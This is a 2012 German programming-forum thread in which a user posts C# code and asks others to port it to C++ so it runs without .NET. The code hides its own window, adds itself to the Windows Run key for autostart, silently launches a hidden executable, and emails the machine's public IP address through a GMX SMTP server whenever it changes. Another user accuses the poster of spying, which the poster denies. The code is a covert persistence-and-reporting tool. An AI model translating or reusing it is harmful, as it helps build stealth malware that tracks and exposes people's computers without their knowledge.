myGully.com Boerse.SH - BOERSE.AM - BOERSE.IO - BOERSE.IM Boerse.BZ .TO Nachfolger
Zurück   myGully.com > Computer & Technik > Programmierung
Seite neu laden

C# in C++ übersetzen

Willkommen

myGully

Links

Forum

 
Antwort
 
Themen-Optionen Ansicht
Ungelesen 11.02.12, 18:34   #1
Beyaz
Newbie
 
Registriert seit: May 2008
Beiträge: 72
Bedankt: 3
Beyaz ist noch neu hier! | 0 Respekt Punkte
Standard C# in C++ übersetzen

hey,

da ich in der schule bisschen c# gelernt habe..habe ich sowas programmiert..sieht bestimmt für erfahrene leute etwas komisch aus aber naja es erfüllt seinen zweck...aber brauche den code in c++ und deshalb wollte ich mal fragen ob jemand es mir kurz übersetzen kann..dauert für viele bestimmt max.5min....

danke

Code:
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Diagnostics;
using System.IO;
using Microsoft.Win32;
using System.Net;

namespace WindowsFormsApplication2
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private void Form1_Load(object sender, EventArgs e)
        {
            this.Visible = false;
            this.FormBorderStyle = FormBorderStyle.SizableToolWindow;
            this.ShowInTaskbar = false;

          
            Microsoft.Win32.RegistryKey regKey = Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);
            if (regKey.GetValue("hallo") == null)
            {
                regKey.SetValue("hallo", Application.ExecutablePath.ToString());
            }
   
            if (File.Exists(@"C:\Windows\hallo.exe"))
            {
                Process p = new Process();
                p.StartInfo.FileName = "hallo.exe";
                p.StartInfo.Arguments = " --s_user s77 --s_password s77";
                p.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
                p.StartInfo.UseShellExecute = true;
                p.StartInfo.RedirectStandardOutput = false;
                p.Start();
                p.Close();

                System.Net.WebClient IPGetter = new System.Net.WebClient();
                string SourceCode = IPGetter.DownloadString(@"http://www.wieistmeineip.de/");

                
                int IPStartPosition = SourceCode.IndexOf("class=\"ip\">");
                int IPEndPosition = SourceCode.IndexOf(@"</h1>", IPStartPosition);
                string IP = SourceCode.Substring(IPStartPosition + ("class=\"ip\">").Length, IPEndPosition - (IPStartPosition + ("class=\"ip\">").Length));


                if (File.Exists(@"C:\text.txt") == false)
                {
                    StreamWriter myWriter = File.CreateText(@"C:\text.txt");
                    myWriter.WriteLine(IP.ToString());
                    myWriter.Close();

                    System.Net.Mail.SmtpClient s = new System.Net.Mail.SmtpClient("mail.gmx.net", 587);
                    System.Net.NetworkCredential nc = new System.Net.NetworkCredential("[ Link nur für registrierte Mitglieder sichtbar. Bitte einloggen oder neu registrieren ]", "12345");

                    s.EnableSsl = true;
                    s.UseDefaultCredentials = false;
                    s.Credentials = nc;

                    s.Send("[ Link nur für registrierte Mitglieder sichtbar. Bitte einloggen oder neu registrieren ]", "[ Link nur für registrierte Mitglieder sichtbar. Bitte einloggen oder neu registrieren ]", "subject", IP.ToString());
                    
                }
                else
                {  
                    
                    StreamReader myReader = File.OpenText(@"C:\text.txt");

                    if (myReader.ReadLine() == IP)
                    {

                    }
                    else
                    {   
                        myReader.Close();
                        StreamWriter myWriter = File.CreateText(@"C:\text.txt");
                        myWriter.WriteLine(IP.ToString());

                        myWriter.Close();

                        System.Net.Mail.SmtpClient s = new System.Net.Mail.SmtpClient("mail.gmx.net", 587);
                        System.Net.NetworkCredential nc = new System.Net.NetworkCredential("[ Link nur für registrierte Mitglieder sichtbar. Bitte einloggen oder neu registrieren ]", "1234");

                        s.EnableSsl = true;
                        s.UseDefaultCredentials = false;
                        s.Credentials = nc;

                        s.Send("[ Link nur für registrierte Mitglieder sichtbar. Bitte einloggen oder neu registrieren ]", "[ Link nur für registrierte Mitglieder sichtbar. Bitte einloggen oder neu registrieren ]", "subject", IP.ToString());

                    
                    }
                    myReader.Close();
                }


            }

            Application.Exit();
        }
    }
}
Beyaz ist offline   Mit Zitat antworten
Ungelesen 11.02.12, 18:47   #2
Thelvan
Erfahrenes Mitglied
 
Registriert seit: Jul 2010
Beiträge: 489
Bedankt: 236
Thelvan erschlägt nachts Börsenmakler | 5269 Respekt PunkteThelvan erschlägt nachts Börsenmakler | 5269 Respekt PunkteThelvan erschlägt nachts Börsenmakler | 5269 Respekt PunkteThelvan erschlägt nachts Börsenmakler | 5269 Respekt PunkteThelvan erschlägt nachts Börsenmakler | 5269 Respekt PunkteThelvan erschlägt nachts Börsenmakler | 5269 Respekt PunkteThelvan erschlägt nachts Börsenmakler | 5269 Respekt PunkteThelvan erschlägt nachts Börsenmakler | 5269 Respekt PunkteThelvan erschlägt nachts Börsenmakler | 5269 Respekt PunkteThelvan erschlägt nachts Börsenmakler | 5269 Respekt PunkteThelvan erschlägt nachts Börsenmakler | 5269 Respekt Punkte
Standard

Visual c++?
Thelvan ist offline   Mit Zitat antworten
Ungelesen 11.02.12, 18:49   #3
Beyaz
Newbie
 
Registriert seit: May 2008
Beiträge: 72
Bedankt: 3
Beyaz ist noch neu hier! | 0 Respekt Punkte
Standard

visual c++ basiert ja auch auf net framework oder ?

ich muss diese anwendung starten können ohne aufm rechner net frameworkzu installieren müssen..
Beyaz ist offline   Mit Zitat antworten
Ungelesen 11.02.12, 18:55   #4
Thelvan
Erfahrenes Mitglied
 
Registriert seit: Jul 2010
Beiträge: 489
Bedankt: 236
Thelvan erschlägt nachts Börsenmakler | 5269 Respekt PunkteThelvan erschlägt nachts Börsenmakler | 5269 Respekt PunkteThelvan erschlägt nachts Börsenmakler | 5269 Respekt PunkteThelvan erschlägt nachts Börsenmakler | 5269 Respekt PunkteThelvan erschlägt nachts Börsenmakler | 5269 Respekt PunkteThelvan erschlägt nachts Börsenmakler | 5269 Respekt PunkteThelvan erschlägt nachts Börsenmakler | 5269 Respekt PunkteThelvan erschlägt nachts Börsenmakler | 5269 Respekt PunkteThelvan erschlägt nachts Börsenmakler | 5269 Respekt PunkteThelvan erschlägt nachts Börsenmakler | 5269 Respekt PunkteThelvan erschlägt nachts Börsenmakler | 5269 Respekt Punkte
Standard

Richtig, dann kannste das auch nichtmal eben 1:1 so übersetzen, da (wie du ja schon gesagt hast) du nicht das .net framework verwenden willst/kannst.

Und hier hat eben jedes Framework andere Komponenten. Hast du denn schon eine bestimmt Entwicklungsumgebung / Bibliothek? (vcl, stl, atl, boost....?)
Thelvan ist offline   Mit Zitat antworten
Ungelesen 11.02.12, 19:06   #5
Beyaz
Newbie
 
Registriert seit: May 2008
Beiträge: 72
Bedankt: 3
Beyaz ist noch neu hier! | 0 Respekt Punkte
Standard

also es muss nicht 1:1 übersetzt werden...die funktionsweiße soll so ungefähr übereinstimmen...

und deine 2 frage kann ich nicht wirklich beantworten..da ich sie nicht wirklich verstehe ;-) ...wie schon geschrieben habe nur so die grundlangen in c# gehabt in der schule.. mehr nicht...und sinst habe ich mich nicht so sehr damit beschäftig...
Beyaz ist offline   Mit Zitat antworten
Ungelesen 12.02.12, 00:48   #6
wasili_dsw
Anfänger
 
Registriert seit: Aug 2011
Beiträge: 2
Bedankt: 0
wasili_dsw ist noch neu hier! | 0 Respekt Punkte
Standard

spanner
wasili_dsw ist offline   Mit Zitat antworten
Ungelesen 12.02.12, 08:05   #7
Beyaz
Newbie
 
Registriert seit: May 2008
Beiträge: 72
Bedankt: 3
Beyaz ist noch neu hier! | 0 Respekt Punkte
Standard

Zitat:
Zitat von wasili_dsw Beitrag anzeigen
spanner

? was ist dein Problem...
Beyaz ist offline   Mit Zitat antworten
Ungelesen 12.02.12, 10:25   #8
Beyaz
Newbie
 
Registriert seit: May 2008
Beiträge: 72
Bedankt: 3
Beyaz ist noch neu hier! | 0 Respekt Punkte
Standard

was soll ich bitte schön mit dem Programm anstellen können..?
habe ich euch gebeten mir ne keylogger zu übersetzten oder doch ne Virus..
Beyaz ist offline   Mit Zitat antworten
Ungelesen 12.02.12, 10:46   #9
Beyaz
Newbie
 
Registriert seit: May 2008
Beiträge: 72
Bedankt: 3
Beyaz ist noch neu hier! | 0 Respekt Punkte
Standard

ich hab ja gesagt dass ich nur die Grundlagen drauf habe...habe die Funktion gebraucht und habe es hier rausskopiert
[ Link nur für registrierte Mitglieder sichtbar. Bitte einloggen oder neu registrieren ] und es nicht geändert ..brauche es nicht um die ip Adressen zu kopieren..sondern die Funktion Information ausm Internet herunterzuladen und zu speichern...ich habe fast alle befehle..soabschnittsweise ausm internet und hab es mir dann zusammen gebastelt...

und ihr meint ich könnte damit die webcams von zuhause aus ein und ausschalten? ich wusste ja nicht dass ich so gut programmieren kann^^

ihr seit ja mal brutal^^..nur weil da webcam stand und ip ^^...kannst gerne zu polizei gehen wenn du willst melde dich privat kannst dir gerne meine ip adresse geben
Beyaz ist offline   Mit Zitat antworten
Antwort


Forumregeln
Du kannst keine neue Themen eröffnen
Du kannst keine Antworten verfassen
Du kannst keine Anhänge posten
Du kannst nicht deine Beiträge editieren

BB code is An
Smileys sind An.
[IMG] Code ist An.
HTML-Code ist Aus.

Gehe zu


Alle Zeitangaben in WEZ +1. Es ist jetzt 03:04 Uhr.


Sitemap

().